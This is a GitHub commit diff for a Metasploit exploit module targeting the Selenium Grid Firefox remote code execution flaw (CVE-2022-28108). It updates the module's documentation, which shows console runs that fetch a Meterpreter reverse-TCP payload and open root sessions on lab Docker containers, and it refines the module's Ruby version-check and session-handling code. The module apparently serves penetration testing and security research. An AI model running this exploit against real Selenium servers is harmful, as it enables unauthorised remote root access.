Skip to content

Commit 710ae11

Browse files
Takahiro-YokoTakahiro-Yoko
committed
Apply suggestions from rapid7#19769 
1 parent ec8dba8 commit 710ae11

File tree

2 files changed

+40
-27
lines changed

2 files changed

+40
-27
lines changed

‎documentation/modules/exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108.md‎

Lines changed: 19 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -65,7 +65,7 @@ Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
6565
---- --------------- -------- -----------
6666
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
6767
FETCH_DELETE true yes Attempt to delete the binary after execution
68-
FETCH_FILENAME QqkwqZES no Name to use on remote system when storing payload; cannot contain spaces or slashes
68+
FETCH_FILENAME NnnZmAGfjJoa no Name to use on remote system when storing payload; cannot contain spaces or slashes
6969
FETCH_SRVHOST no Local IP to use for serving payload
7070
FETCH_SRVPORT 8080 yes Local port to use for serving payload
7171
FETCH_URIPATH no Local URI to use for serving payload
@@ -88,12 +88,14 @@ msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=1
8888
[*] Started reverse TCP handler on 192.168.56.1:4444
8989
[*] Running automatic check ("set AutoCheck false" to disable)
9090
[+] The target appears to be vulnerable. Version 3.141.59 detected, which is vulnerable.
91-
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:47990) at 2024-12-30 12:46:43 +0900
91+
[*] Started session (3191e005-977b-40c9-8c70-7e2f4ef4f922).
92+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:43182) at 2025-01-04 10:01:09 +0900
93+
[*] Failed to delete the session (3191e005-977b-40c9-8c70-7e2f4ef4f922). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
9294
9395
meterpreter > getuid
9496
Server username: root
9597
meterpreter > sysinfo
96-
Computer : 172.17.0.3
98+
Computer : 172.17.0.2
9799
OS : Ubuntu 20.04 (Linux 6.8.0-51-generic)
98100
Architecture : x64
99101
BuildTuple : x86_64-linux-musl
@@ -107,12 +109,14 @@ msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=1
107109
[*] Started reverse TCP handler on 192.168.56.1:4444
108110
[*] Running automatic check ("set AutoCheck false" to disable)
109111
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
110-
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:33048) at 2024-12-30 12:48:53 +0900
112+
[*] Started session (dc849fa9-0b61-4862-8766-21f1cb47c827).
113+
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:54410) at 2025-01-04 10:03:37 +0900
114+
[*] Failed to delete the session (dc849fa9-0b61-4862-8766-21f1cb47c827). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
111115
112116
meterpreter > getuid
113117
Server username: root
114118
meterpreter > sysinfo
115-
Computer : 172.17.0.4
119+
Computer : 172.17.0.3
116120
OS : Ubuntu 18.04 (Linux 6.8.0-51-generic)
117121
Architecture : x64
118122
BuildTuple : x86_64-linux-musl
@@ -122,16 +126,18 @@ meterpreter >
122126

123127
### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
124128
```
125-
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4448
129+
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4447
126130
[*] Started reverse TCP handler on 192.168.56.1:4444
127131
[*] Running automatic check ("set AutoCheck false" to disable)
128132
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
129-
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.16:43864) at 2024-12-30 12:58:33 +0900
133+
[*] Started session (af8d64bc-cdf6-4a03-8706-e90bddbee1c2).
134+
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.16:40680) at 2025-01-04 10:05:44 +0900
135+
[*] Failed to delete the session (af8d64bc-cdf6-4a03-8706-e90bddbee1c2). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
130136
131137
meterpreter > getuid
132138
Server username: root
133139
meterpreter > sysinfo
134-
Computer : 172.17.0.2
140+
Computer : 172.17.0.4
135141
OS : Ubuntu 20.04 (Linux 6.8.0-51-generic)
136142
Architecture : x64
137143
BuildTuple : x86_64-linux-musl
@@ -141,16 +147,18 @@ meterpreter >
141147

142148
### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
143149
```
144-
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4449
150+
msf6 exploit(linux/http/selenium_greed_firefox_rce_cve_2022_28108) > run lhost=192.168.56.1 rhost=192.168.56.16 rport=4448
145151
[*] Started reverse TCP handler on 192.168.56.1:4444
146152
[*] Running automatic check ("set AutoCheck false" to disable)
147153
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
148-
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:60066) at 2025-01-02 09:29:36 +0900
154+
[*] Started session (1657b5ac-c514-431f-8c83-761c14012869).
155+
[*] Meterpreter session 4 opened (192.168.56.1:4444 -> 192.168.56.16:44868) at 2025-01-04 10:10:38 +0900
156+
[*] Failed to delete the session (1657b5ac-c514-431f-8c83-761c14012869). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
149157
150158
meterpreter > getuid
151159
Server username: root
152160
meterpreter > sysinfo
153-
Computer : 172.17.0.2
161+
Computer : 172.17.0.5
154162
OS : Ubuntu 24.04 (Linux 6.8.0-51-generic)
155163
Architecture : x64
156164
BuildTuple : x86_64-linux-musl

‎modules/exploits/linux/http/selenium_greed_firefox_rce_cve_2022_28108.rb‎

Lines changed: 21 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -30,9 +30,7 @@ def initialize(info = {})
3030
['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'],
3131
['EDB', '49915'],
3232
],
33-
'Payload' => {
34-
'DisableNops' => true
35-
},
33+
'Payload' => {},
3634
'Platform' => %w[linux],
3735
'Targets' => [
3836
[
@@ -66,33 +64,39 @@ def initialize(info = {})
6664
end
6765

6866
def check
69-
res = send_request_cgi({
67+
# Request for Selenium Grid version 3
68+
v3res = send_request_cgi({
7069
'method' => 'GET',
7170
'uri' => normalize_uri(target_uri.path)
7271
})
73-
if res&.code != 200
74-
res = send_request_cgi({
72+
if v3res&.code != 200
73+
# Request for Selenium Grid version 4
74+
v4res = send_request_cgi({
7575
'method' => 'GET',
7676
'uri' => normalize_uri(target_uri.path, 'status')
7777
})
78-
if res && res.get_json_document && res.get_json_document.include?('value') &&
79-
res.get_json_document['value'].include?('message')
80-
if res.get_json_document['value']['message'] == 'Selenium Grid ready.'
78+
if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') &&
79+
v4res.get_json_document['value'].include?('message')
80+
if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.'
8181
return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.')
82-
elsif res.get_json_document['value']['message'].downcase.include?('selenium grid')
82+
elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid')
8383
return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.')
8484
end
8585
end
8686

87-
return Exploit::CheckCode::Unknown
87+
return Exploit::CheckCode::Unknown('Unexpected server reply.')
8888
end
8989

90-
js_code = res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
91-
return Exploit::CheckCode::Unknown unless js_code
90+
js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
91+
return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code
9292

9393
json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1]
94-
json_data = JSON.parse(json_str)
95-
return Exploit::CheckCode::Unknown unless json_data && json_data.include?('version') && json_data['version']
94+
begin
95+
json_data = JSON.parse(json_str)
96+
rescue JSON::ParserError
97+
return Exploit::CheckCode::Unknown('Unable to determine the version.')
98+
end
99+
return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version']
96100

97101
# Extract the version
98102
version = Rex::Version.new(json_data['version'])
@@ -138,7 +142,7 @@ def exploit
138142
'headers' => { 'Content-Type' => 'application/json; charset=utf-8' },
139143
'data' => new_session
140144
}, datastore['TIMEOUT'])
141-
fail_with(Failure::Unknown, 'Connection failed.') unless res
145+
fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
142146

143147
session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId']
144148
fail_with(Failure::Unknown, 'Failed to start session.') unless session_id
@@ -163,6 +167,7 @@ def exploit
163167
})
164168
# The server does not send a response, so no check here
165169

170+
# This may take some time (about 5 minutes or so), so no timeout is set here.
166171
res = send_request_cgi({
167172
'method' => 'DELETE',
168173
'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"),

0 commit comments

Comments
 (0)